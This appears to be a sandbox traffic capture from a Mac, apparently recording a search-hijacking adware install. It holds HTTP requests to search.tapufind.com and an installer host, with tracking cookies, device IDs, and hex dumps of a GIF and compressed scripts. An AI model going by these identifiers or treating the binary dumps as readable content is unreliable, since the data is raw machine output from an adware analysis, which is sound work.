Feb 14, 2019 12:59:31.090504885 MEZ	358	OUT	GET /loadPE/Image/installing.gif HTTP/1.1 Host: 34.225.153.59:10000 Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE/LastPage.html Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:31.186794996 MEZ	368	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:31 GMT Content-Type: image/gif Content-Length: 46207 Last-Modified: Wed, 15 Nov 2017 13:25:02 GMT Connection: keep-alive ETag: "5a0c402e-b47f" Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 72 01 2c 01 f7 ff 00 66 bc 85 ec 6c 62 38 41 49 f9 f5 f7 49 52 59 52 b5 75 32 3b 44 f0 cc c9 6b 72 78 3d b0 ea ed ee ee f9 f4 f2 f2 eb ea 48 b4 ea d2 d3 d5 d9 e9 f1 5a 62 69 44 4d 55 7d 82 87 21 2b 35 8c 92 96 54 5c 63 e9 ea ea 94 99 9d e4 ed f1 ef a9 a3 82 88 8d ce e5 f1 d8 e8 de 35 ad ea a3 d6 ef ec 73 69 55 b9 eb c9 cb cd 26 30 39 76 c5 ed 66 6d 73 ad b1 b4 f4 f2 f2 f5 f3 f2 9b d1 ae 37 ae ea e5 e6 e6 76 7c 82 db e9 e0 fd fd fc 89 8e 93 f2 f4 f4 84 ca ed f0 bc b8 bb be c0 f2 e5 e4 e7 e8 e8 a6 d5 b7 96 d1 ee 9c a0 a4 ed 80 78 ec 69 5e ed 8c 85 e0 e1 e2 c1 c3 c5 ed 7a 71 ba de f0 98 9d a1 78 c3 93 ec 67 5c 20 2a 34 f2 f8 f8 fa fa f9 a2 a6 aa f2 f6 f6 29 33 3c b4 db ef 72 c1 8f be c0 c2 c0 df cb a5 a9 ac 1e 28 32 24 2e 38 70 77 7d cc ce cf f1 dd dc f9 f5 f8 dc dd de f0 f0 f0 ea ef f2 ee a3 9c 90 95 9a f1 d3 d0 c6 c8 ca ee 94 8d ce d0 d2 62 be ec de df df fc fa fa f4 f2 f4 5e b9 7f b8 bb be b5 b8 bb b2 b5 b8 c3 c6 c8 ee 9c 95 fc fc fb aa ae b1 b3 da c1 c2 df cc d6 d8 d9 ec 6a 60 6a c1 ec af b3 b6 f7 f4 f2 d8 d9 da 58 b7 7a 54 b6 77 d4 d6 d7 c9 e2 d2 60 67 6e f0 b7 b3 d9 da db 27 31 3a da dc dd df eb e4 8f ce ee 4d b4 72 fb f6 f9 ec 6f 66 ec ec ec 2c 36 3f f1 f0 f0 3f 48 50 88 c9 9f a1 58 55 ee ef ef f8 f8 f7 4f 57 5e 6e c0 8b f0 c1 bd f2 f3 f4 34 76 99 ef ae a9 ec 62 57 e1 e2 e3 f1 f1 f1 e7 e7 e7 3e b6 f2 e6 ed e9 fb f5 f2 f7 f4 f6 43 76 5d e3 e4 e5 23 2d 36 f1 d0 ce f1 d9 d7 2c aa ea a7 ab ae f2 f7 f8 35 85 ae ce 79 73 ef ef ef f1 e1 e0 f0 f2 f1 f6 70 65 c5 62 5c f2 6f 64 2e 55 6b 7e 4d 4e 73 b2 d1 f3 f4 f3 39 97 c7 ea eb eb ef b3 ae 3b a3 d7 3d 6e 57 2a 43 54 41 b1 ea 29 2e 35 a2 79 79 3a af ea be df f0 1f 29 33 3b b3 ef 7e ba d8 3c ac e5 31 62 7e 62 88 76 f2 e8 e8 45 80 60 f3 f3 f3 15 20 2a de 69 61 59 b9 7c f2 ee ed f4 f4 f4 fb fb fa f5 f5 f5 41 3b 42 f6 f6 f6 f9 fa fb f7 f7 f7 fb fa fa 5a 43 47 f9 f8 f8 f8 f8 f8 f3 f2 f3 fa fa fa f9 f9 f8 f3 f2 f2 fa f9 f9 28 2f 3b f2 f3 f3 f7 f7 f6 fc fb fb f7 f6 f6 2f 39 41 29 30 37 f6 f6 f5 f3 f3 f2 f5 f4 f4 f5 f5 f4 f2 f5 f5 f2 f2 f3 f1 f2 f2 f6 f4 f5 f5 f6 f5 9f a3 a7 f7 f6 f7 f6 f7 f6 f2 f1 f1 f4 f4 f5 fa fb fa f9 fa f8 f5 f5 f6 5e ba 7f f2 f3 f2 61 ba 81 f2 f2 f1 f4 f5 f4 f8 f9 f8 ec 6d 63 c5 e2 f0 5a 99 ba f0 c6 c3 43 a8 db e8 e8 e9 f6 94 8c ab d8 ef b5 9a 9a c1 b5 b6 97 81 83 9d d3 ef f4 80 77 47 b1 6d f4 f5 f5 2a 34 3d f2 f2 f2 ff ff ff 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 Data Ascii: GIF89ar,flb8AIIRYRu2;Dkrx=HZbiDMU}!+5T\c5siU&09vfms7v\|xi^zqxg\ 4)3<r(2$.8pw}b^j`jXzTw`gn'1:Mrof,6??HPXUOW^n4vbW>Cv]#-6,5yspeb\od.Uk~MNs9;=nWCTA).5yy:)3;~<1b~bvE` iaY\|A;BZCG(/;/9A)07^amcZCwGm4=!NETSCAPE2.0!XMP DataXMP<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 20

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.0.50	49315	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.060492039 MEZ	7088	OUT	POST /csp.aspx?barcode=tapufindsf\|yhs HTTP/1.1 Host: search.tapufind.com Content-Type: application/csp-report Origin: null Accept-Encoding: gzip, deflate Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet Connection: keep-alive Accept: / User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Referer: http://search.tapufind.com/?q= Content-Length: 850 Accept-Language: en-us
Feb 14, 2019 13:00:14.061279058 MEZ	7093	OUT	Data Raw: 7b 22 63 73 70 2d 72 65 70 6f 72 74 22 3a 7b 22 64 6f 63 75 6d 65 6e 74 2d 75 72 69 22 3a 22 68 74 74 70 3a 2f 2f 73 65 61 72 63 68 2e 74 61 70 75 66 69 6e 64 2e 63 6f 6d 2f 3f 71 3d 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 76 69 6f 6c Data Ascii: {"csp-report":{"document-uri":"http://search.tapufind.com/?q=","referrer":"","violated-directive":"style-src 'self' fonts.googleapis.com 'unsafe-inline' k5a6w6w2.ssl.hwcdn.net","effective-directive":"style-src","original-policy":"default-src '
Feb 14, 2019 13:00:14.188779116 MEZ	7423	IN	HTTP/1.1 204 No Content Cache-Control: private Content-Type: image/gif Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.0.50	49318	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.061125994 MEZ	7089	OUT	GET /js/auto-complete.js?v=6 HTTP/1.1 Host: search.tapufind.com Accept: / Connection: keep-alive Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:14.188908100 MEZ	7425	IN	HTTP/1.1 200 OK Cache-Control: max-age=259200 Content-Type: application/javascript Content-Encoding: gzip Last-Modified: Tue, 29 Jan 2019 13:21:57 GMT Accept-Ranges: bytes ETag: "80c8c69bd5b7d41:0" Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 2494 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 c4 59 6d 73 db b8 11 fe 9e 99 fc 07 85 d1 88 e4 99 a2 45 bf 24 b6 64 c8 93 fa 3a d3 4c af ed f5 92 4e 3f d8 ee 0d 4c 42 12 6c 8a e4 11 a0 5f 2a f9 bf 77 01 10 22 40 49 96 d3 5e a6 77 e3 88 c4 02 8b 7d 79 76 b1 0b be 7d 13 e7 19 e3 9d 4f 15 cf 2f f2 79 91 12 4e 50 46 1e 3a 93 2a 8b 39 cd 33 cf 5f c0 58 e7 57 3e a3 0c 89 7f 46 f2 b5 28 f3 7b 9a 90 12 39 d3 3c 9f a6 c4 d1 c3 e4 1e 39 ce 48 4e 0f 69 46 39 5a 31 ea 32 82 cb 78 f6 39 2b 2a 1e d4 2f 17 79 c6 31 cd 48 19 d4 ef 38 4d 6f 70 7c 17 68 fe fe e2 81 66 49 fe 10 4e d3 fc 06 a7 5f 78 5e 12 b4 3e b4 5c 2e 9e 47 8d 50 fa 61 b9 5c 8d 8d 94 9e dd 07 9a 4c 09 5f ed 8b ba 9e 73 96 d0 fb 4e 9c 62 c6 90 8b c1 0e 71 6d 87 be 9a db 8f f5 64 77 7c b6 0f 73 c7 8e 1f e2 a2 20 59 f2 35 f7 da 8a f8 7a 23 6c 5a b4 84 c9 a4 34 8d fc 4f c9 db 6b cb b3 71 f9 4f 94 71 21 e8 7b b5 57 df 12 32 05 a2 a3 97 a9 09 5f e9 9c e4 15 47 83 70 70 5c 13 b2 6a 7e 43 ca bf 4d 3e 73 32 67 28 1a d4 c3 38 a3 73 2c bc f3 a5 20 24 41 d1 b1 26 90 0c df a4 e4 4f 74 3a 4b e1 8f 23 5e 56 a4 26 d1 ec 9e 94 bc 45 12 de 6f 36 2f 47 96 fc 61 cc 98 b7 70 40 55 3e 73 86 26 0e 24 a5 26 f8 81 93 50 56 a4 f8 c9 19 3a 59 9e 11 27 70 26 60 97 fe 03 11 fb 38 c3 77 2d a1 96 cb 96 28 e7 ce c7 c1 00 16 1f c3 bf cf fe 68 cd 86 6a b7 02 27 09 cd a6 4e 30 d8 3a 65 8e cb 29 cd e4 0c 6d 57 2e 2c 77 01 10 69 f0 5c 12 56 a5 9c 09 82 bf 30 df 6a 7d 85 67 fa 8c 3f 41 74 ac 14 e2 e4 91 f7 31 48 9b c1 58 4a 26 1c c6 52 70 7c 7f 56 2b e9 1c 1c 15 8f 5a 73 46 ff 2d d6 46 6a 28 ae 4a 96 97 f0 5e e4 34 e3 a4 84 a1 5a 97 be e4 04 13 3f c8 89 7a b4 ac 59 d6 c3 22 b0 a6 65 5e 65 09 40 3a 95 9c de 4f 26 13 30 55 38 cf 2b 46 88 60 ea ad f4 23 fe 02 90 29 8c 22 74 f2 ba 1e 09 39 d8 85 70 df 57 56 5a e3 17 38 ef c9 07 f1 3f e0 51 33 4d 09 be 27 ff 23 53 21 a4 e0 38 2a 09 af ca ac 63 da 7a f4 5c bb e8 a6 a2 69 f2 a5 80 67 c8 07 89 20 35 ae aa 91 49 ca 79 40 a5 b7 24 5c ab e9 94 30 41 47 62 30 4c aa 32 95 38 86 5f 35 52 8a 11 c5 7d c6 e7 e9 2f 72 57 c9 d9 3d 4b 69 9d 32 1c 2b 1a eb 08 55 02 3a 9d 04 73 dc 17 bc fa f7 38 ad 08 72 dc bd 66 db 3d d7 19 cb dc 23 31 82 34 fa 87 34 93 88 b8 49 f3 f8 ce 19 bb 7b 33 8d 6f 53 8f 86 4d d0 8a 02 7f cf 55 69 ca c8 6b 0e 8e fb d3 9c e7 ce 78 65 21 63 4e bd 7f 0c be 2a 87 37 39 c4 62 67 1f 52 5d 4a c7 ae 34 88 69 6f c8 43 b6 2d 56 19 4b f0 57 33 cc 50 98 40 ae f6 dc b0 de df 85 90 d3 f3 ea 28 99 a4 39 16 20 55 60 6d 01 7f d0 c4 82 ce 02 ce 11 44 37 04 43 8d e0 69 09 f9 c2 cc 1c 96 f5 44 16 30 85 6f e2 d8 0e df 91 1d be 29 Data Ascii: YmsE$d:LN?LBl_w"@I^w}yv}O/yNPF:93_XW>F({9<9HNiF9Z12x9+/y1H8Mop\|hfIN_x^>\.GPa\L_sNbqmdw\|s Y5z#lZ4OkqOq!{W2_Gpp\j~CM>s2g(8s, $A&Ot:K#^V&Eo6/Gap@U>s&$&PV:Y'p&`8w-(hj'N0:e)mW.,wi\V0j}g?At1HXJ&Rp\|V+ZsF-Fj(J^4Z?zY"e^e@:O&0U8+F`#)"t9pWVZ8?Q3M'#S!8cz\ig 5Iy@$\0AGb0L28_5R}/rW=Ki2+U:s8rf=#144I{3oSMUikxe!cN*79bgR]J4ioC-VKW3P@(9 U`mD7CiD0o)
Feb 14, 2019 13:00:14.189021111 MEZ	7426	IN	Data Raw: 8d ef 2c cc 92 90 f1 bc f8 b9 cc 0b 3c c5 ea 58 1c d5 a7 50 0e 07 81 07 40 09 dc 5f 6f 52 9c dd b9 db 91 aa 0f 5b 05 d5 06 7e 9b 70 da f8 d7 5f 7c 5f 08 fe 77 00 7b 2d 38 be 9b f9 cd 63 e4 72 70 1d 2a ed b6 26 17 cc 79 e9 39 2d 63 40 56 b1 eb 0e Data Ascii: ,<XP@_oR[~p_\|_w{-8crp&y9-c@Vvx:0%xq.GE=[_3QA5IF'H>1!NwIY,\|3Z[oQX$edz3A`!M[K689IDd~[e;$!
Feb 14, 2019 13:00:14.189034939 MEZ	7426	IN	Data Raw: 69 1a c3 17 85 a9 8b 7c b1 9a 12 16 aa 0f 0c 52 24 3d 73 5f 09 ab 85 88 67 65 3e 27 bd 59 8a 48 d6 93 f2 a0 55 63 d4 fb ad 11 44 92 64 15 63 38 ee 15 b6 5d 74 a1 aa 81 e3 b1 1b e2 5b fc e8 2d aa 32 1d 7e 47 39 45 8e ff 0a cd fb b0 16 38 90 3f ab Data Ascii: i\|R$=s_ge>'YHUcDdc8]t[-2~G9E8?7V1alhv\|&/OF:^"=]k.eCnNPcX1\IZ(zT\T&HhhqOaYVa>de06$t6\l0VO/deSY'Z_rC{kH9dy~

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.0.50	49317	13.66.51.37	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 13:00:14.061130047 MEZ	7090	OUT	GET /js/preloadjs-0.6.2.min.js?v=6 HTTP/1.1 Host: search.tapufind.com Accept: / Connection: keep-alive Cookie: ASP.NET_SessionId=3pvsaqlbktbmlre22qymqs2s; paramless_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4MazA; sp_ref=; co=CH; dpid=yhs; feedid=infospace; hsimp=yhs-newtab; issubmit=true; param_url=gKW_Gr7MM17t7q271p8ZSeiRhWQaK9t3OGj4Ma23JRq5roLi28zEds39kAibte8Rm0KlQgUHBFN5RU4oT_qrHlUdboQ6bQsk8XOpI0E-9gT1HZjFcXQc9cx-qiPebfuJKpz2rPjuI6csEMA_bzdnwjmMLpEII_JtAD9H1XZ-H8BAlNHZXQS3wvIqZ92YrUcE-d0YDoVyV4INtuxhCHfqzvdsXtA,; publisher=tapufindsf; type=YHS_TAPHP_100; userid=syn_d955cead-824c-4550-9e89-02e36ed3c263; _barcodeid=52413004; _deviceid=d7fc6553-0faa-5bb8-86d8-c132df7dc85c; _installDate=14-02-2019; _publisher=mcwnet User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7 Accept-Language: en-us Referer: http://search.tapufind.com/?q= Accept-Encoding: gzip, deflate
Feb 14, 2019 13:00:14.189152956 MEZ	7428	IN	HTTP/1.1 200 OK Cache-Control: max-age=259200 Content-Type: application/javascript Content-Encoding: gzip Last-Modified: Tue, 15 May 2018 11:51:18 GMT Accept-Ranges: bytes ETag: "0ffe3843ecd31:0" Vary: Accept-Encoding Request-Context: appId=cid-v1:da449687-a631-4767-82ce-2a5d944140bb Date: Thu, 14 Feb 2019 12:00:13 GMT Content-Length: 14955 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ec 7d 69 73 db 48 96 e0 e7 e9 88 fe 0f 10 a2 a7 0b 2c 93 34 a9 c3 2e 8b ed 72 cb b6 7c 74 4b 96 4a 52 79 aa 86 d6 28 00 10 14 21 53 24 9b 04 7d 94 47 bf 6c 3f ec 4f da bf b0 ef c8 1b 09 90 72 c9 bd d3 11 5b d3 63 11 79 e7 cb 97 ef ca 97 2f ff cf ff fa df f7 bf df f8 e3 1f be 0f fe 3a ce d3 6c b2 c8 82 e3 79 36 9e c6 83 bf 9d 62 ea db 7c 91 17 c1 a8 28 66 bb f7 ef a7 f3 2c 2e b2 ab 45 3b 9d 5e df 0f 86 d3 79 30 98 a6 cb eb 6c 52 c4 45 3e 9d 34 83 e5 6c 00 05 16 41 3c 19 04 d9 a7 f8 7a 36 ce 16 6d 68 06 5b 7a 36 9d 7d 9e e7 97 a3 22 88 d2 46 b0 d9 e9 76 5b f0 cf 4e 70 b9 78 9f 4f 26 d9 1c 1b 6d 06 f9 24 95 15 9e e7 8b 62 9e 27 cb 22 1b 04 cb c9 20 9b 07 c5 28 0b 8a 6c 7e bd 08 a6 43 fa 38 7c 7d 16 88 61 63 2d 39 ce 8f 1f 3f b6 a7 33 48 9d 2e e7 69 d6 9e ce 2f ef 8b 52 8b fb d7 79 d1 92 55 46 c5 f5 58 74 76 36 ca 17 c1 64 5a 40 4e b0 18 c5 e3 71 90 64 38 98 f1 72 00 dd e7 93 00 93 d2 e9 2c 87 d9 c1 bc 17 cb 64 51 c4 93 22 8f c7 c1 6c 3a c7 d9 ab 41 9d 4e 87 c5 c7 78 4e 23 ba ff c7 3f 14 d0 72 5b 42 2e 78 1c d8 df ff fd df c1 97 9b 66 30 5c 4e 52 6c 24 88 1a c1 97 20 5c c2 32 e0 e4 d3 22 ec 05 1f e2 79 10 43 45 05 7d b5 40 fe 44 6a b2 17 c4 ed 0f d9 7c 81 6d 3e 0e c2 4e fb 41 7b 33 6c 42 62 b2 cc c7 83 e7 50 07 93 cf 46 cb 66 b0 f9 20 78 33 fd 10 d0 62 6c 76 76 b7 b7 77 b7 ba c1 cb c3 b3 30 b8 89 1a cd 60 ad f1 ab 61 64 9f 8a 0c 16 ff b1 31 a3 b8 19 24 e5 59 a9 fc 94 a6 cc ad 02 14 8b f9 32 2d 00 c2 8f 61 ce 37 c1 3c 2b 96 73 28 d3 9e cd a7 c5 b4 f8 3c c3 61 27 fa 0b 67 64 66 4d b2 8f 41 1a dc dc 76 d4 d0 c4 f5 94 40 b2 6a d8 b8 18 29 0e ce 1c 03 ce f7 28 b9 ca d2 a2 7d 99 15 c7 32 e3 68 18 fc f9 cf fe 0c dc 02 30 88 b4 7d 71 41 ed 5c 5c f4 82 7c 18 44 03 ec 31 ed 47 49 70 0f 96 e7 22 6c 04 f7 82 d0 00 4b 78 0e 5d 0d 4c 40 f5 68 1f 46 38 2e 44 d8 00 5a 48 db a3 78 71 f4 71 02 fd cd b2 79 f1 39 ca 1a 38 90 50 ce 2d 0c 1e 03 40 60 1c 80 b0 83 7e 76 8e 99 51 da 87 3e 83 8c da 87 b4 86 06 7e bc 36 3c eb b0 d8 84 f5 a7 cf 5e 48 4b d8 ee cd e7 f1 67 0d df f6 02 f7 6b 3b 85 1d 18 c5 f3 4b a2 37 0b 40 db 46 4f 8e d0 ee 57 0e bb 1d cf 66 e3 cf 51 d2 5c b3 c1 4e 03 e1 9a c6 05 2c 0e 4e ff e6 6b f0 3f 07 42 f5 09 16 7e 8d 0d 20 97 0d a7 dc 61 24 8a db e3 6c 72 59 8c 7a f0 f5 63 90 02 d4 ee dd 6b 10 62 24 b0 66 90 df 4f 61 65 e4 a6 50 f3 6f 75 ef 64 89 54 de fe 07 80 08 0d 1b 66 a6 76 a7 d8 62 b1 e8 a9 00 d0 65 05 ee b9 e5 78 2c 7b 5f ce e7 50 f5 cc 93 95 61 9b c7 80 98 19 4f 97 12 93 65 92 00 8b 80 94 8d 8d 44 b6 11 4f d2 6c 1c 43 3a 25 a7 b2 bb Data Ascii: }isH,4.r\|tKJRy(!S$}Gl?Or[cy/:ly6b\|(f,.E;^y0lRE>4lA<z6mh[z6}"Fv[NpxO&m$b'" (l~C8\|}ac-9?3H.i/RyUFXtv6dZ@Nqd8r,dQ"l:ANxN#?r[B.xf0\NRl$ \2"yCE}@Dj\|m>NA{3lBbPFf x3blvvw0`ad1$Y2-a7<+s(<a'gdfMAv@j)(}2h0}qA\\\|D1GIp"lKx]L@hF8.DZHxqqy98P-@`~vQ>~6<^HKgk;K7@FOWfQ\N,Nk?B~ a$lrYzckb$fOaePoudTfvbex,{_PaOeDOlC:%
Feb 14, 2019 13:00:14.189266920 MEZ	7430	IN	Data Raw: fc 3a 3b 2d 80 a5 40 6a 84 db 1c 69 58 03 b7 d5 19 e4 a8 85 1a 64 c3 78 39 86 ad 46 fd 65 08 d4 8d ae c8 03 04 98 c5 97 c4 aa 4e 8b e9 6c 66 e7 e6 d7 d7 d9 20 87 46 8f 6b 8b cd b3 eb e9 07 91 04 28 22 89 33 81 4c a3 58 8f 08 04 8d e1 39 8f c8 c2 Data Ascii: :;-@jiXdx9FeNlf Fk("3LX9Sp] I,^{&o${cX6(J\X88EJ3l{'Hb6&s3j\|aFD8!Rg7ClG.,tf;O=LK"$+
Feb 14, 2019 13:00:14.189380884 MEZ	7431	IN	Data Raw: 95 8e e2 79 8b ac 65 c4 84 a1 1d 24 4b 61 1c 42 23 f8 a7 df 81 ba 44 c3 a9 e6 d5 42 d8 2d 45 c1 21 27 89 d6 f2 e1 e7 90 6c 9c 32 19 88 db 22 0b 1b a2 05 45 78 10 ec df 7d 81 d6 77 fb dd 26 e0 4f d6 1c c6 50 a0 49 3a 58 f8 ee dd b2 03 ff bd 7b 97 Data Ascii: ye$KaB#DB-E!'l2"Ex}w&OPI:X{{7yn"<a(dU=NgrOs:/6In$_t'$`u.)0.Pi#JEa}aW6r9M#II8"E]$1>AVkd!>
Feb 14, 2019 13:00:14.189495087 MEZ	7432	IN	Data Raw: 22 3f 96 f9 49 44 66 b0 dd 9a 31 fd 9e e1 94 fa a3 b5 b0 bc 27 78 d1 d5 60 68 b9 f4 44 62 46 03 ab 06 0b 5d 6a e4 11 0e af 1f 8a 45 03 4a 16 ca 4d c4 bf 0f a6 d0 52 a6 53 66 62 43 bf 5e ec 4f 96 d7 d9 1c 0f 26 31 3d 5f 18 ce 20 98 60 ef 7f 4c b1 Data Ascii: "?IDf1'x`hDbF]jEJMRSfbC^O&1=_ `L>V?n,0l\:im$?{<lrbqbq.=C )jaTuD[R0xJ hs\|k?Pj"-9WA~D/e;56
Feb 14, 2019 13:00:14.319505930 MEZ	7751	IN	Data Raw: ce d7 41 48 bd 4a 3a 23 18 29 b5 33 50 c5 b1 01 74 c9 40 5f 19 21 dd a1 31 a2 83 23 16 6b f6 f7 08 bb 25 0a 83 ea 56 de 0f c9 89 1b 96 08 67 ce eb 02 0b 84 85 fa e7 2c be 98 e6 1b 79 94 21 d7 f2 a0 19 1c 36 83 37 b4 43 87 f3 e9 f5 33 21 b3 35 83 Data Ascii: AHJ:#)3Pt@_!1#k%Vg,y!67C3!5#S.!>$}?~Knsw=*-DCygGJ~RVgehe'ACIe)T0)d-%H+)n-v8JR<@7&C7ezZb!eIOOyBT(
Feb 14, 2019 13:00:14.319612026 MEZ	7752	IN	Data Raw: df 1e 61 21 b4 ec cb 04 a8 b8 3f ce e8 c2 ea d3 cf 67 f1 e5 9b f8 3a 8b 42 2c 16 36 80 ca aa d6 9f 4e 07 9f 57 b6 9e 60 a1 d5 ad 63 31 d5 ba f2 27 7c 3e bd fe b9 c8 c7 74 87 87 dd 3f eb c0 45 0b f4 cb e1 41 35 71 52 96 3c ed 4c c4 48 dc 7e 7e 74 Data Ascii: a!?g:B,6NW`c1'\|>t?EA5qR<LH~~tx&2#I^R,k~#?hn!Ey:.4mT`JCNkCCzrIKLH!T';g">N7)I4o2
Feb 14, 2019 13:00:14.319720984 MEZ	7754	IN	Data Raw: d7 ab 9b 3a 3d fa f9 cd f3 9e aa be ed 56 e7 8f 62 b1 ba a5 b7 af 9f ef 1f c9 96 c8 87 7e 65 15 be e7 c0 35 3e 5d 8f 57 57 00 ac 94 e5 d3 c5 1a 63 02 1c d5 23 5a 63 3c 0a 1d 65 ad c5 87 cb 35 60 f8 f6 65 19 13 eb b0 c8 51 34 4f b2 7f 80 82 55 7c Data Ascii: :=Vb~e5>]WWc#Zc<e5`eQ4OU\|3]?j]-]5TLTnJlA-H/H(Hg5#r_5+uf_^<'r?N/'et"b97(q,N("_f>+cJBR%S6l$9rXJ
Feb 14, 2019 13:00:14.319823027 MEZ	7755	IN	Data Raw: 02 ae 98 39 3e 1a 7a 81 4c e9 59 48 11 3f 9f 1c 20 6c c5 d7 c7 2c 79 9f 17 90 26 42 45 68 33 45 b4 d1 21 04 67 6b 43 d4 10 7e 05 d2 65 81 3d 05 a0 22 5f e5 55 67 c4 b2 b8 97 86 19 bb aa 8e 90 59 9b 2f b4 b1 fb ce 88 19 82 45 36 ed 43 7f 83 5b 28 Data Ascii: 9>zLYH? l,y&BEh3E!gkC~e="_UgY/E6C[(!"B8:~buft*AxDy&, gJcF%C\|Av\|WbWi.\qPs&Qd)TH5`S,J{UAg(\vLZ
Feb 14, 2019 13:00:14.319942951 MEZ	7756	IN	Data Raw: 85 fe 5f 45 65 74 28 ee 6d f5 74 bf b1 b5 ec 13 69 90 db aa d3 c7 f5 8d ad ce e6 d9 7b 7a 74 72 b6 ef ec 9f 5a 53 f8 ef ec 35 96 6f fd 36 6e 69 f4 d8 2e c9 5a a6 11 c3 b1 52 1c 94 ad 2a 07 55 72 dc 86 e1 c3 58 ef d2 28 66 3d ca d2 f7 4a 9a 23 24 Data Ascii: _Eet(mti{ztrZS5o6ni.ZR*UrX(f=J#$\%`Igc+P&$%zv\myO,{^UdhLZe`d[>r()RAp;!.)]DXi#k#.!';
Feb 14, 2019 13:00:14.320051908 MEZ	7758	IN	Data Raw: 40 6a 63 0b 95 02 84 ac 8e 98 63 84 0d a9 0b f7 63 06 13 a9 2b 77 ec 84 18 59 15 ce ca 0c 3c 52 1b eb c8 0c 47 52 1b ca 48 47 21 a9 89 fb 63 c4 26 a9 0b f8 a3 23 96 d4 44 36 6a ea 60 2f 75 8a 8d 0e 01 53 ab 94 a1 73 d9 25 ca 59 73 75 c7 c7 77 c9 Data Ascii: @jccc+wY<RGRHG!c&#D6j`/uSs%Ysuwo(E'gSiAJlbXAeCUuIO0[rB]]NVM~fx=F$KiIKtu~irH{l&TbGwlijk;%{
